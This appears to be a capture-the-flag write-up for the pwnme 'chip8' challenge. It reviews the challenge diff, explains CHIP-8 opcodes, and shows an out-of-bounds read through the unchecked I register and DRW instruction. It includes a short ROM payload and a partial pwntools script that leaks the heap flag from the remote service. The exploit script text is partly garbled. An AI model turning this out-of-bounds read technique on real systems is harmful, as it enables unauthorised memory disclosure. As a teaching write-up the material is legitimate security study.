I just found a repo of a chip-8 emulator, it may be vulnerable but I didn’t had enough time to report the vulnerability with a working PoC. You must find a way to get the flag in memory on the remote service !
Author: Express#8049
Remote service at : nc 51.254.39.184 1337
chip8 is a emulator-pwn challenge I did during the pwnme CTF . You can find the related files here.
Code review
This challenge is based on an emulator called c8emu that is updated with these lines of code:
if(it != first_match.end()) (it->second)(opcode); else { - std::cout << "No match found for opcode " << std::hex << (int) opcode << "\n"; - std::cout << "This could be because this ROM uses SCHIP or another extension which is not yet supported.\n"; + //std::cout << "No match found for opcode " << std::hex << (int) opcode << "\n"; + //std::cout << "This could be because this ROM uses SCHIP or another extension which is not yet supported.\n"; std::exit(0); } } @@ -179,12 +182,13 @@ void Machine::print_machine_state(){ } void Machine::runLoop(){ + std::copy(FLAG.begin(), FLAG.end(), flag.begin()); while(true){ // Update display if(ge.is_dirty()){ // Check if the screen has to be updated ge.update_display(); - print_machine_state(); - std::cout << "Opcode " << ((uint16_t) (memory[PC]<<8) | (memory[PC+1])) << "\n"; + //print_machine_state(); + //std::cout << "Opcode " << ((uint16_t) (memory[PC]<<8) | (memory[PC+1])) << "\n"; } // Update the keyboard buffer to check for all pressed keys diff --git a/src/c8emu.cpp b/src/c8emu.cpp index e65123b..590228e 100644 --- a/src/c8emu.cpp +++ b/src/c8emu.cpp @@ -17,6 +17,10 @@ void loadFile(const std::string& filename, std::vector<uint8_t>& prog){ int main(int argc, char ** argv){ Machine machine; + setbuf(stdin, NULL); + setbuf(stdout, NULL); + setbuf(stderr, NULL); + { // Create block to deallocate the possibly large variable prog // Load Instructions std::vector<uint8_t> prog;
As you can see above, the prints that can leak informations about the program execution are removed, and an array named flag (on the heap) is inserted right after the memory mapping of length 0x1000 (on the heap) of the chip8 program. This way the goal would be to be able to leak the content of flag onto the screen.
few words on chip8 architecture
To get a quick overview of the chip8 arch, I advice you to read this. Here are the most important informations from the technical reference:
Chip-8 is a simple, interpreted, programming language which was first used on some do-it-yourself computer systems in the late 1970s and early 1980s. The COSMAC VIP, DREAM 6800, and ETI 660 computers are a few examples. These computers typically were designed to use a television as a display, had between 1 and 4K of RAM, and used a 16-key hexadecimal keypad for input. The interpreter took up only 512 bytes of memory, and programs, which were entered into the computer in hexadecimal, were even smaller.
Chip-8 has 16 general purpose 8-bit registers, usually referred to as Vx, where x is a hexadecimal digit (0 through F). There is also a 16-bit register called I. This register is generally used to store memory addresses, so only the lowest (rightmost) 12 bits are usually used.
Here are the instruction we need:
Annn - LD I, addr. Set I = nnn. The value of register I is set to nnn.
6xkk - LD Vx, byte, Set Vx = kk. The interpreter puts the value kk into register Vx.
Fx1E - ADD I, Vx. Set I = I + Vx. The values of I and Vx are added, and the results are stored in I.
Dxyn - DRW Vx, Vy, nibble. Display n-byte sprite starting at memory location I at (Vx, Vy), set VF = collision. The interpreter reads n bytes from memory, starting at the address stored in I. These bytes are then displayed as sprites on screen at coordinates (Vx, Vy). Sprites are XORed onto the existing screen. If this causes any pixels to be erased, VF is set to 1, otherwise it is set to 0. If the sprite is positioned so part of it is outside the coordinates of the display, it wraps around to the opposite side of the screen. See instruction 8xy3 for more information on XOR, and section 2.4, Display, for more information on the Chip-8 screen and sprites.
or addr - A 12-bit value, the lowest 12 bits of the instruction
1 2 3 4
n or nibble - A 4-bit value, the lowest 4 bits of the instruction x - A 4-bit value, the lower 4 bits of the high byte of the instruction y - A 4-bit value, the upper 4 bits of the low byte of the instruction kk or byte - An 8-bit value, the lowest 8 bits of the instruction
The bug
The bug lies into the implementation around the instruction that use the I register. Indeed, as you read above, the I register is 16 bits wide. Thus we could we print onto the screen with the help of the DRW instruction data stored from memory[I=0] up to memory[I=2^16 - 1]. Let’s see how does it handle the DRW instruction:
The first and the second argument are the begin and the end of the location where data to print are stored. (op & 0x000f) represents the amount of bytes we’d like to print. As you can see no checks are performed, this way we able to get a read out of bound from from memory[I=0] up to memory[I=2^16 - 1].
Exploitation
Now we now how we could exfiltrate the flag we can write this tiny chip8 program:
1 2 3 4 5 6
code = [ 0xAFFF, # Annn - LD I, addr, I = 0xfff 0x6111, # 6xkk - LD Vx, byte, R1 = 0x11 0xF11E, # ADD I, R1, I => 0x1010 0xDBCF# Write on screen (xored with current pixels) 15 bytes from I=0x1010 ]
We read the flag from memory[0x1010] given memory is adjacent to the flag (memory[0x1000] == begin of the chunk flag within the heap), and we add 0x10 to read the chunk content which is right after the header (prev_sz and chunk_sz). Once we launch it we get:
defremote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
defstart(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# every registers are zero-ed at the begin of the program code = [ 0xAFFF, # Annn - LD I, addr, I = 0xfff 0x6111 + 0xf*STEP, # 6xkk - LD Vx, byte, R1 = 0x1F 0xF11E, # ADD I, R1, I => 0x101F 0xDBCF# Write on screen (xored with current pixels) 15 bytes from I ]
code_to_send = [pwn.p16(k) for k in code]
io.sendafter(b"Enter ROM code: ", b"".join(code_to_send)) io.sendline(b"\n") io.sendline(b"\n")